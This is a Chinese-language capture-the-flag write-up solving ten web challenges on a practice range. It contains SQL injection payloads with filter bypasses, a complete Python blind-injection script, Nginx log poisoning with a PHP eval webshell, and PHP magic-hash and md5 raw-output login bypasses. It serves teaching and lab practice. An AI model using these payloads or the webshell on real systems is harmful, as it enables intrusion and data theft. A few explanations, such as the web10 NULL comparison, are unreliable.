本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
签到题
题目信息

点开靶场f12查看源代码,可看到一串编码

base64解一下
得到flag

web2
题目信息

第一步:验证万能密码与注入点
首先在登录框的用户名处测试经典万能密码:
a' or true #
密码随意输入。成功登录后,页面将查询到的当前用户名回显出来,证明此处存在明显的 SQL 注入漏洞,且有数据输出位。
第二步:探测回显列数
既然页面有明确的数据回显位,接下来就可以使用联合查询(UNION SELECT)进行脱库操作。 在用户名处输入以下 Payload 测试字段数量:
a' union select 1,2,3 #
密码依旧随意。页面成功回显了数字 2,说明当前 SQL 查询结果为 3 个字段 ,且第 2 个字段是有效的回显点。
第三步:获取当前数据库名
确定回显位在 2 后,我们利用它来获取当前连接的数据库名称(通常 Flag 就存放在当前数据库中):
a' union select 1,database(),3 #
执行后,页面回显了数据库名,假设得到的结果为 web2。
第四步:从系统表脱库,获取表名
拿到数据库名 web2 后,下一步是获取该库下的所有表名。我们可以利用 group_concat 将多行表名拼接成一行,方便回显:
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #
页面会回显该数据库下的所有表名,从中可以锁定目标表:flag。
第五步:获取 flag 表的字段名
确定 flag 表存在后,我们查询该表的具体字段结构,为最终提取数据做准备:
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #
假设页面回显列名为 flag(或类似 f14g 变种)。
第六步:提取 Flag 数据
拿到对应字段名后,直接构造 Payload 读取最终数据:
a' union select 1,(select flag from flag),3 #
提交该 Payload,页面会在第 2 个回显位直接输出完整的 flag{...},成功通关!

web3
题目信息

一、漏洞发现:绕过前端进行任意文件读取
打开靶场后,习惯性地按 F12 打开开发者工具查看网络请求。观察 Network 面板,可以发现后端服务器运行的是 Nginx。


核心知识点:什么是 Nginx 日志? 如果把 Nginx 比作餐厅里效率极高的服务员,那么日志文件就相当于服务员的工作日记:
-
access.log(访问日志):记录每位顾客(客户端)点了什么(请求什么资源),什么时候来的,这位服务员处理得怎么样。这是信息量最大、在 CTF 中最常用的日志。 -
error.log(错误日志):记录服务员在操作过程中的磕磕碰碰,比如找不到某个菜品(404 错误)、后厨罢工了(服务启动失败)等。
任意文件读取探测: 在地址栏后添加 Payload:
?url=/var/log/nginx/access.log
回车后发现,原本的 Web 页面直接返回了大量 Nginx 访问日志的明文数据。这说明服务器端没有对文件访问路径进行严格过滤 ,存在典型的任意文件读取漏洞。

二、漏洞利用:利用 Burp Suite 在日志中植入木马
既然可以读取日志,我们可以尝试将一段一句话木马 写入 access.log 中。 常用的日志注入点就是 User-Agent(用户代理) 请求头。
操作步骤:
-
打开 Burp Suite,开启拦截(Proxy -> Intercept is on)。
-
在浏览器中开启代理并刷新靶机页面。
-
Burp 成功抓取到请求包后,右键选择 Send to Repeater。

-
在 Repeater 的请求面板中,找到
User-Agent字段,将其内容替换为 PHP 一句话木马:<?php @eval($_POST['hacker']); ?> -
点击 Send 发送请求。
-
如果右侧 Response 面板中返回了正常的 HTTP 响应,说明木马已经成功写入到 Nginx 的
access.log中。虽然日志文件混杂了大量其他文本,但通过文件包含漏洞加载该日志时,PHP 解析器依然会识别并执行其中的 PHP 代码。
三、远程连接:蚁剑(AntSword)获取 Flag
木马成功植入后,就可以利用蚁剑进行远程连接:
-
打开蚁剑,在空白处右键,选择 "添加数据"。
-
URL 地址 :填入靶机的完整地址(例如
http://靶机IP/?url=/var/log/nginx/access.log)。 -
连接密码 :填入我们设定的
hacker。 -
点击"测试连接",如果右下角提示 "连接成功",保存配置并双击进入。

进入远程服务器后,直接浏览目录文件(通常在 /var/www/html 或根目录下),找到名为 ctf go go go 或 flag 的文件,打开即可看到最终的 flag{...}。


web4
题目信息

一、漏洞发现与初步尝试
打开靶场后,页面直接显示了一部分源码,其中提示了 include() 函数通过 GET 参数 url 包含文件,这明确指向了文件包含漏洞。

第一步,我们尝试利用 php://input 伪协议执行 PHP 代码,查看当前目录文件:
?url=php://input
并在 POST 请求体中加入 PHP 命令,然而服务器返回了 error,说明执行失败(通常是因为 allow_url_include 被禁用或后端做了拦截)。

二、提示转向:日志注入
既然 php://input 被阻断,结合题目提示,我们确认漏洞的真正突破点在于日志注入。
漏洞成因与原理: 日志包含漏洞通常是因为服务器未对文件读取路径进行严格过滤,同时又开启了日志记录功能。中间件(如 Nginx、Apache)会将每次访问的请求信息(包括 HTTP 请求行、User-Agent、Referer 等客户端信息)记录到日志文件中。
如果我们直接在请求头中植入恶意代码(如 PHP 一句话木马),这段代码会被原封不动地写入日志文件。此时,再利用文件包含漏洞去读取该日志文件,服务器解析时就会触发并执行日志里的恶意代码,从而获得 Webshell。
常见中间件日志存放路径:
-
Apache:
/var/log/apache/access.log -
Nginx:
/var/log/nginx/access.log(访问日志)和/var/log/nginx/error.log(错误日志,默认记录 error 级别及以上的信息) -

三、攻击步骤:植入木马与获取 Shell
确认当前中间件为 Nginx 后,我们利用 Burp Suite 进行抓包与日志注入:
-
抓包与构造请求: 使用 Burp Suite 拦截访问靶机的 GET 请求,并将请求发送到 Repeater 模块。

-
利用 User-Agent 植入木马: 在请求头中找到
User-Agent字段,将其替换为 PHP 一句话木马:<?php @eval($_POST['cmd']); ?>发送该请求,确保服务器正常响应,此时木马已成功写入 Nginx 的
access.log中。

-
蚁剑连接服务器: 打开中国蚁剑(AntSword),右键添加数据:
-
URL 地址:
http://靶机IP/?url=/var/log/nginx/access.log -
连接密码:
hacker
测试连接成功,双击进入目标服务器,浏览目录即可找到 Flag 文件,成功拿下。
-

web5
题目信息

一、代码审计与限制条件
打开靶场,获得一段 PHP 源码,

核心逻辑如下:
if (isset($_GET['v1']) && isset($_GET['v2'])) { $v1 = $_GET['v1']; $v2 = $_GET['v2']; if (!ctype_alpha($v1)) { die("v1 error"); } if (!is_numeric($v2)) { die("v2 error"); } if (md5($v1) == md5($v2)) { echo $flag; } else { echo "wrong!"; } } else { echo "where is flag?"; }
限制条件梳理:
-
通过 GET 方式传入
v1和v2两个参数。 -
v1必须全部由字母组成 (ctype_alpha校验)。 -
v2必须由纯数字组成 (is_numeric校验)。 -
最终突破点:
md5($v1) == md5($v2)必须成立。
二、核心漏洞原理:PHP 松散比较的 0e 陷阱
代码中比较 MD5 值时使用的是双等号 ==(松散比较 ),而非全等号 ===。在 PHP 中,当两个字符串进行比较时,如果字符串以 0e 开头且后面全部是数字,PHP 会将其自动视为科学计数法。
数学原理: 0e12345 等同于 0 × 10¹²³⁴⁵,结果即为 0 。 因此,如果两个不同的字符串经过 MD5 加密后,哈希值都以 0e 开头且后接纯数字,那么在使用 == 比较时,它们都会被视作 0,从而 0 == 0 结果为 True,成功绕过限制。
经典的黄金组合(出题人常用):
-
QNKCDZO的 MD5 哈希值为:0e830400451993494058024219903391 -
240610708的 MD5 哈希值为:0e462097431906509019562988736854
由于 QNKCDZO 全是字母,240610708 纯数字,这两个参数恰好能完美通过 ctype_alpha 和 is_numeric 的层层限制。
三、最终 Payload 构造与提交
将上述两个经典字符串分别作为 v1 和 v2 的值,通过 GET 请求提交:
http://靶机域名/?v1=QNKCDZO&v2=240610708
发送请求后,后端验证逻辑顺利走到最后一步,判断通过,页面即可直接返回最终的 flag{...}。

web6
题目信息

一、发现注入点与绕过空格过滤
进入靶场后,在登录页面的用户名输入框进行测试,猜测此处存在 SQL 注入漏洞。

初步测试 Payload:
1' or 1=1 #
提交后页面直接报错。结合经验判断,可能是后端防火墙(WAF)或过滤规则拦截了空格 字符。此时我们可以采用 /\**/(多行注释) 来代替空格进行绕过。

绕过后的 Payload:
1'/**/or/**/1=1/**/
页面正常响应,说明注入点存在,且成功绕过了空格拦截。


二、探测回显列数
为了进一步利用 联合查询(UNION SELECT) 进行脱库,必须先判断当前查询结果的字段数量。
注入 Payload:
1'/**/or/**/1=1/**/union/**/select/**/1,2,3#
页面成功回显了数字 2,说明当前查询共有 3 个字段,且 第 2 列 是可用的回显位置。


三、获取当前数据库名
利用第 2 个回显位,调用 database() 函数获取当前连接的数据库名称。
注入 Payload:
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
页面回显了当前数据库名为:web2。

四、获取 web2 库下的所有表名
利用系统表 information_schema.tables 来查询 web2 库下的所有表名,并通过 group_concat() 函数将结果拼接成一行以便回显。
注入 Payload:
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
页面回显了该库下的表,发现有一个关键表名:flag。

五、获取 flag 表的字段名
确定目标表为 flag 后,利用 information_schema.columns 查询该表的所有列名。
注入 Payload:
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
页面回显了列名:flag。

六、最终获取 Flag 数据
拿到了数据库、表名和列名,直接构造 Payload 读取 flag 表中的具体数据。
注入 Payload:
0'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
页面成功将 flag{...} 显示在页面上,拿下靶场!

web7
题目信息

第一步:发现注入点与空格绕过
打开靶场,点击第一篇文章,发现 URL 中含有参数 id=1,初步怀疑存在 SQL 注入漏洞。
尝试构造经典 Payload:
id=1 and 1=1#
页面报错,说明后端可能存在 WAF 或黑名单机制。结合经验,尝试使用 /\**/(多行注释)代替空格进行绕过:
id=1/**/and/**/1=1#
页面正常显示,继续测试:
id=1/**/and/**/1=2#
页面显示异常(与正常页面不同),由此确定此处存在数字型 SQL 注入 ,且过滤规则成功被 /**/ 绕过。
第二步:联合查询探测回显位
注入点确认后,使用 UNION SELECT 进行联合查询。由于 id 通常为正数,我们将 id 设为负数(如 -1),让原查询结果为空,从而直接展示联合查询的结果,方便定位回显位。
探测 Payload:
id=-1/**/union/**/select/**/1,2,3#
提交后,页面将数字 2 回显出来,说明当前共有 3 个字段,且第 2 个字段即为可利用的回显位。

第三步:获取当前数据库名
利用第 2 个回显位,调用 database() 函数获取当前连接数据库的名称:
id=-1/**/union/**/select/**/1,database(),3#
页面回显当前数据库名为:web7。

第四步:获取数据库 web7 中的所有表名
获得库名后,通过 information_schema.tables 系统表查询该库下的所有表名,并使用 group_concat() 将多行结果拼接成一行输出:
id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3#
页面回显的表名中包含了一个目标表:flag。

第五步:获取 flag 表中的所有列名
锁定 flag 表后,继续查询 information_schema.columns 获取它的字段结构:
id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#
页面回显列名:flag。

第六步:直接读取 Flag 数据
万事俱备,直接读取 flag 表中的 flag 字段内容:
id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
提交后,页面成功回显出 flag{...},靶场通关!

web8
题目信息

一、题目背景与过滤分析
进入靶场后,发现页面与 web7 结构完全相同,注入点同样在 id 参数。但不同的是,这道题过滤规则更加严格:
-
空格 被拦截
-
引号(
'和") 被拦截 -
union、and、or等关键词被拦截
面对如此严格的 WAF,传统的联合查询注入和自动化工具(如默认配置的 SQLMap)会非常难以施展,因此,我们需要手工编写 Python 脚本来进行布尔盲注。
二、核心绕过技巧与脚本设计思路
1. 绕过空格:使用 /\**/ 注释符 由于前后端检测并过滤了空格,我们在 SQL 语句中所有需要空格的地方,统一替换为 /**/。
2. 绕过引号:使用十六进制编码 当需要查询特定字符串(如 table_schema='web8' 或 table_name='flag')时,直接使用单引号会被拦截。我们可以将字符串转为十六进制来表示,例如:
-
'flag'转换为0x666C6167 -
'web8'转换为0x77656238(在盲注脚本中,直接传入十六进制数据即可避开引号检测)。
3. 布尔盲注核心原理 由于页面无法直接回显数据,我们只能通过判断 HTTP 响应是否包含特定特征字符 (本题脚本中使用的是 If 特征)来推测结果。即如果 SQL 语句中的条件成立,页面会返回包含 If 的响应;条件不成立,则不包含 If。
三、自定义 SQL 注入脚本详解
利用 Python 编写布尔盲注脚本,其主要逻辑是:逐位截取返回结果的字符,将其转换为 ASCII 码,并与字典(31~128 的 ASCII 范围)进行碰撞。 如果页面响应包含特定的真特征,则说明当前猜测的字符正确,继续向下探测。
完整注入脚本代码示例:
import requests # 输入目标URL url = input('输入目标URL: ').strip() if not url.endswith('/'): url += '/' if 'id=' not in url: url += 'index.php?id=-1/**/or/**/' # 选择注入类型 while True: print('\n选择注入类型:') print('1. 当前数据库') print('2. 所有表名') print('3. flag表字段') print('4. 所有列名') print('5. flag数据') print('6. 退出') choice = input('请选择 (1-6): ').strip() # 如果选择6,退出程序 if choice == '6': print('退出程序') exit() # 根据选择设置payload模板 payloads = { '1': 'ascii(substr(database()from/**/%d/**/for/**/1))=%d', '2': 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d', '3': 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d', '4': 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d', '5': 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d' } if choice not in payloads: print('无效选择,请重新选择') continue payload_template = payloads[choice] # 输入最大长度 max_length_input = input('最大长度(默认100): ').strip() max_length = int(max_length_input) if max_length_input else 100 name = '' # 循环获取字符 for i in range(1, max_length + 1): count = 0 # 计算并显示百分比进度 progress = int((i - 1) / max_length * 100) print(f'\r进度: {progress}%', end='', flush=True) # 截取SQL查询结果的每个字符, 并判断字符内容 found = False for j in range(31, 128): result = requests.get(url + payload_template % (i, j)) if 'If' in result.text: name += chr(j) found = True break # 如果某个字符不存在,则停止当前注入 count += 1 if count >= (128 - 31): break # 如果没找到字符,说明已经获取完所有内容 if not found: break # 显示100%进度并输出完整内容 print(f'\r进度: 100%', end='', flush=True) print(f'\n\n获取完成!') print(f'数据库名/表名/字段名/数据: {name}')
四、预期运行结果(Flag 获取)
根据选项输入对应的数字,脚本会进入自动盲注流程。经过一段时间的逐字枚举后,控制台会打印出完整的数据库结构或数据。
例如选择 5(获取 flag 数据): 运行完毕后,脚本会输出如下内容:

web9
题目信息

第一步:敏感文件探测与源码泄露
使用目录扫描工具对靶场进行探测,发现存在 robots.txt 文件。 查看 robots.txt 内容,其中泄露了一个备份文件的路径。下载该备份文件,成功获取到后端登录逻辑的 PHP 源码。
第二步:代码审计与漏洞点定位
核心源码如下:
<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "登陆成功<br>"; echo $flag; } } ?>
审计发现的关键点:
-
密码长度限制:
strlen($password) > 10直接报错,限制了我们使用极长的 Payload。 -
核心注入点 :SQL 语句在拼接时,调用了
md5($password, true)。 -
验证机制:只要
mysqli_num_rows($result) > 0,就会输出$flag。
第三步:漏洞原理解析(md5($password, true) 注入)
这道题的核心考点在于理解 PHP 中 md5() 函数的第二个参数:
-
默认情况(无参数或
false) :md5($password)输出 32 位十六进制字符串(例如e10adc3949ba59abbe56e057f20f883e)。 -
危险情况(传入
true) :md5($password, true)会输出 16 字节的原始二进制数据(Raw Binary)。
当这个原始二进制数据 被直接拼接到 SQL 语句中时,如果二进制数据里恰好包含了 单引号 ' 、or 等特殊字符,就会打破原有的 SQL 语法结构,从而产生 SQL 注入。
第四步:构造 Payload 通关
经过安全研究人员长期的测试,找到了一些特殊的字符串,它们的 MD5 原始二进制数据正好能组成一段有效的 SQL 注入语句(例如 ' or '...)。
最常用的注入 Payload 是:ffifdyop。
-
md5("ffifdyop", true)生成的原始二进制转为可读字符大约是:' or '6�]��!r,��b。 -
拼接后最终的 SQL 语句变为:
... where username ='admin' and password ='' or '6...'。 -
核心逻辑 :
password = ''为假,但紧随其后的or '6...'在布尔判断中会被 MySQL 视为 真(True) ,从而绕过登录限制,使mysqli_num_rows($result) > 0成立,最终输出 Flag。
通关 Payload: 在靶场登录页面的密码框中,直接输入:
ffifdyop
点击登录,即可成功绕过身份验证,页面会直接回显 flag{...}。

web10
题目信息

这是一道考法非常经典的 SQL 注入题,主要难点在于严格的过滤机制与利用 GROUP BY 的独特特性进行绕过。

1. 源码分析与限制条件
访问靶场,通过点击"取消"按钮下载到后端源码。核心逻辑如下(已做关键提炼):
function replaceSpecialChar($str) { // 过滤常见的 SQL 关键字和空格 return preg_replace('/select|from|where|join|sleep|and|\s|union/i', '', $str); } if (strlen($password) != strlen(replaceSpecialChar($password))) { die("sql inject error"); // 检测到注入,直接拦截 } $sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password'";
关键的防御逻辑在于:
-
黑名单过滤:
replaceSpecialChar函数会删除输入字符串中的select,from,and,union等关键字,并过滤掉了所有空格(\s)。 -
双写拦截:
if(strlen(...))检测输入和过滤后字符串长度是否一致,不一致则说明其中包含"脏字",直接die()。这有效防止了union这类双写绕过攻击(如ununionion)。
2. 寻找绕过路径与核心利用点
由于 union、and 等常规注入手段被完全封锁,我们需要转换思路。观察过滤规则,group by 和 with rollup 并未被列入黑名单。
关键原理:WITH ROLLUP 的特性 在 GROUP BY 语句后附加 WITH ROLLUP,会对分组结果进行汇总统计。当数据库在进行汇总计算时,会生成一行额外的数据,这行数据的聚合列(这里也就是 password)的值通常为 NULL。
3. 构造最终 Payload
我们的目标是:通过 SQL 注入,伪造出一个密码为 NULL 的用户,从而绕过密码校验。
-
由于空格被过滤,我们需要使用
/**/注释符来代替空格。 -
构造的 Payload 为:
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# -
这里利用了
username = 'admin' or 1=1来确保查询能覆盖到目标用户,并通过GROUP BY password WITH ROLLUP强制数据库在结果集中额外生成一行password = NULL的数据。
登录验证: 在提交时,我们将密码栏留空。 后端接收到空密码,会进行如下校验:
-
$password为空字符串。 -
由于 MySQL 执行了
WITH ROLLUP,查询结果中多出了一行password为NULL的记录。 -
在 PHP 中进行
if ($password == $row['password'])比较时,如果参与比较的一方是NULL,PHP 会将空字符串转化为NULL,从而使得NULL == NULL成立。 -
mysqli_num_rows($result) > 0且密码验证成功,最终直接弹出 Flag。
